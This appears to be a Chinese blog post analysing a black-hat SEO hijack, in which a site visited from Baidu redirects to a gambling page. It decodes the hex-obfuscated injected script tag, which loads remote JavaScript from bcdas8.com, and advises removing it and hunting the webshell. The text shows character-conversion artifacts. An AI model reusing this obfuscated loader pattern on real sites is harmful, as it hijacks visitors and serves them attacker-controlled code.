|
[dns被劫持怎么辦]詳解分析，解決黑帽seo劫持問(wèn)題。網(wǎng)站從百度搜索進(jìn)去，首頁(yè)發(fā)生跳轉(zhuǎn)到菠菜網(wǎng)，開(kāi)發(fā)公司的說(shuō)可能是百度的問(wèn)題，不是我們的問(wèn)題，針對(duì)這個(gè)就想提一下，首先遇到問(wèn)題就去分析問(wèn)題，再去找出問(wèn)題，然后解決問(wèn)題，最后做好防范措施，而不是首先就想著推脫責(zé)任。
只需要看頭部代碼好熟悉，黑帽seo這行技術(shù)這幾年也沒(méi)什么創(chuàng)新，刪除這兩行就可以解決基本問(wèn)題
如果是無(wú)法直接從首頁(yè)查看源碼的情況，那么在瀏覽器輸入view-source:www.baidutop321.com就可以查看網(wǎng)頁(yè)源碼
只需要看頭部代碼好熟悉，黑帽seo這行技術(shù)這幾年也沒(méi)什么創(chuàng)新，刪除這兩行就可以解決基本問(wèn)題
這段意思就是判斷百度搜索訪問(wèn)用戶進(jìn)行跳轉(zhuǎn)，你去360，搜狗搜索訪問(wèn)肯定是不會(huì)發(fā)生跳轉(zhuǎn)的，然后我們?cè)賮?lái)解最后一段代碼
先進(jìn)行js解壓，得出結(jié)果
javascript代碼方式解密
1：\x64\x6f\x63\x75\x6d\x65\x6e\x74 結(jié)果 document
3:\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x62\x63\x64\x61\x73\x38\x2e\x63\x6f\x6d\x2f\x33\x36\x35\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e
到了這里整個(gè)過(guò)程已經(jīng)很清晰了，雖然我們刪除了這段代碼但只能暫時(shí)解決問(wèn)題，需要找出webshell，做一個(gè)全面的網(wǎng)站和服務(wù)器安全策略，這種批量GetShell的基本上都是通過(guò)目前已經(jīng)開(kāi)放的漏洞，所以相對(duì)還是比較容易處理。
大多數(shù)人對(duì)網(wǎng)站的理解還停留在視覺(jué)層面，網(wǎng)絡(luò)安全的重要性反而被忽視，任何公司都需要提高對(duì)網(wǎng)絡(luò)安全的重視。 |
